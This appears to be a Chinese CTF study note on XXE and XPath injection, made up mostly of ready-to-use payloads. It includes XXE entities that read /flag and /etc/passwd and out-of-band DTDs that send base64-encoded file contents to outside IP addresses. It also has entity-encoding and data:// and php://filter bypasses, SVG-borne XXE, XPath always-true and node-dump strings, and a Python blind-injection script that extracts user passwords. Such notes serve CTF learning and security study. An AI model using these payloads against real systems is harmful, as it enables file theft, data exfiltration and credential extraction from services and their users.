Xml

xml 是一种标记语言,很类似于 HTML,结构化地存储、传输信息。

xml结构

xml的结构如下:

  1. 文档声明
  2. 文档类型定义(document type definition),它定义了 xml 的文档的格式,也就是 XXE 注入的漏洞所在。
  3. 文档元素

DTD文档

内外部

  1. 内部实体

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data [
    <!ELEMENT data (aaa,bbb,ccc)>
    <!ELEMENT aaa (#PCDATA)>
    <!ELEMENT bbb (#PCDATA)>
    <!ELEMENT ccc (#PCDATA)>
    ]>
  2. 外部实体

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data SYSTEM "data.dtd">
    <data>
    <aaa>1<aaa>
    <bbb>2<bbb>
    <ccc>3<ccc>
    </data>

    这里 引用支持 file/http/php 等协议。

  3. 内外部 DTD 文档结合

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE data SYSTEM "data.dtd" [
    <?xml version="1.0" encoding="UTF-8"?>
    <!ELEMENT data (aaa, bbb, ccc)>
    <!ELEMENT aaa (#PCDATA)>
    <!ELEMENT bbb (#PCDATA)>
    <!ELEMENT ccc (#PCDATA)>
    ]>

通用参数

  1. 通用实体

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="utf-8"?> 
    <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
    <updateProfile>
    <firstname>Joe</firstname>
    <lastname>&file;</lastname>
    ...
    </updateProfile>

    这里在 DTD 中被定义,在 xml 中用 & 引用。

  2. 参数实体

    1
    2
    3
    <!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
    <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
    %an-element; %remote-dtd;

    使用 % nameDTD 中定义,在 DTD 中使用 %name 引用,并且可以引用其他实体当作自己的声明的一部分。

XXE注入

一篇文章带你深入理解漏洞之 XXE 漏洞-先知社区

有回显的读文件

eg1

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE qwq[
<!ENTITY xxe SYSTEM "file:///flag">
]>

<root>
<ctfshow>
&xxe;
</ctfshow>
</root>

eg2

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<rss version="2.0">
<channel>
<title>Test Feed</title>
<description>&xxe;</description>
</channel>
</rss>

无回显的读文件

eg1

xxe.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://42.192.137.212/index.php?q=%file;'>">

upload.xml

1
2
3
4
5
6
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://42.192.137.212/evil.dtd">
%remote;
%int;
%send;
]>

eg2

xxe.dtd

1
2
3
<!ENTITY % all "<!ENTITY &#x25; send  SYSTEM 'http://47.120.42.156:1339/%file;'> ">
%all;
%send;

upload.xml

1
2
3
4
5
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % dtd SYSTEM "http://47.120.42.156:1338/evil.dtd">
%dtd;
]>

SVG 配合 XXE

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///flag" >
]>
<svg height="1000" width="1000">
<text x="10" y="20">&file;</text>
</svg>

bypass

  • 双重实体编码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?xml version="1.0"?>
    <!DOCTYPE GVI [
    <!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">
    %xml;
    ]>

    <!--编码内容-->
    <!ENTITY xxe SYSTEM "file:///flag.txt" >]>
    <core>
    <message>&xxe;</message>
    </core>
  • data://协议

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
    <comment><sender>&xxe;</sender><content>111</content></comment>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?xml version="1.0" ?>
    <!DOCTYPE test [
    <!ENTITY % a SYSTEM "data://text/plain;base64,PCFFTlRJVFkgJSAgYiBTWVNURU0gJ2h0dHA6Ly8xMTguMjUuMTQuNDA6ODIwMC9oYWNrLmR0ZCc+">
    %a;
    %b;
    ]>
    <test>&hhh;</test>

    <!--编码内容-->
    <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
  • file://协议+文件上传

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0" ?>
    <!DOCTYPE test [
    <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
    ]>

    <!--上传文件-->
    <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
  • php://filter协议+文件上传

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?xml version="1.0" ?>
    <!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
    ]>
    <test>
    &hhh;
    </test>

    <!--上传文件-->
    <!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?xml version="1.0" ?>
    <!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
    ]>
    <test>
    &hhh;
    </test>

    <!--上传文件-->
    PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

SVG

SVG是一种图像文件格式,它的英文全称为Scalable Vector Graphics,意思为可缩放的矢量图形。它是基于XML(Extensible Markup Language),由World Wide Web Consortium(W3C)联盟进行开发的。

SVG是一种用XML定义的语言,使用 XML 格式定义图形。SVG 文件是纯粹的 XML。

有回显

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

无回显

xxe.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/passwd" >
<!ENTITY % send "<!ENTITY res SYSTEM 'http://116.62.211.134:8088/?a=%file;'>">

xxe.svg

1
2
3
4
5
6
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT svg ANY >
<!ENTITY % remote SYSTEM "http://116.62.211.134/xxe.xml" >
%remote;%send;
]><svg height="100" width="1000">&res;</svg>

XXE触发Phar

image-20251206195736251

xpath 注入

助攻函数

字符串相关

  • codepoints-to-string(a, b, c, …):将数字 a、b、c 转为对应的字符, Python 的 chr 函数类似。
  • string-to-codepoints(string):与上面的相反
  • compare(a, b, rule):比大小,func 是比较大小的规则
  • string-join((string, string, …), sep):使用 sep 参数作为分隔符,来返回 string 参数拼接后的字符串。
  • substring(string, start [,len]):返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。
  • string-length([string]):返回指定字符串的长度。如果没有 string 参数,则返回当前节点的字符串值的长度。

其他函数

  • count(item[, item1, …]):返回节点的数量。
  • position():返回当前正在被处理的节点的 index 位置。
  • last():返回在被处理的节点列表中的项目数目。
  • name([nodeset]):返回当前节点的名称或指定节点集中的第一个节点。

注入类型

XPath注入学习与分析-先知社区

XPath 注入指北 - Tr0y’s Blog

永真条件

1
' or 1=1 or ''='

相当于闭合 单引号然后 1=1

递归查询所有

1
2
3
']|//*|ss[' #获取所有节点
']|//*|//*[' #获取所有节点
']|//@*|//*[' #获取所有属性

先闭合,//* 相当于递归查询所有的,然后最后一个限制空来闭合所有的。

布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time

def xpath_blind(url, xpath_param):
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
result = ""
pos = 1

# 先确定长度
length = 0
for i in range(1, 30):
payload = f"' and string-length(//user[1]/password/text())={i} and '1'='1"
r = requests.get(url, params={xpath_param: payload})
if "登录成功" in r.text:
length = i
break

print(f"Password length: {length}")

# 逐位猜解
for i in range(1, length+1):
for char in charset:
payload = f"' and substring(//user[1]/password/text(),{i},1)='{char}' and '1'='1"
r = requests.get(url, params={xpath_param: payload})
if "登录成功" in r.text:
result += char
print(f"Found character at position {i}: {char}")
break

return result

时间盲注

1
2
# 如果条件成立,执行耗时操作
' and (if(substring(//user[1]/password/text(),1,1)='a', sleep(5), false)) and '1'='1

绕过命名空间

1
2
3
4
<root xmlns:a="http://example.com/a" xmlns:b="http://example.com/b">
<a:user>admin</a:user>
<b:user>guest</b:user>
</root>

分别属于 ab 命名空间,就是说在XPath 查询时,如果不指定命名空间,就找不到这些元素。

local-name() 是 XPath 中的函数,返回不含命名空间前缀的标签名。

1
' or local-name()='user' or '1'='1

自动化工具

GitHub - orf/xcat: XPath injection tool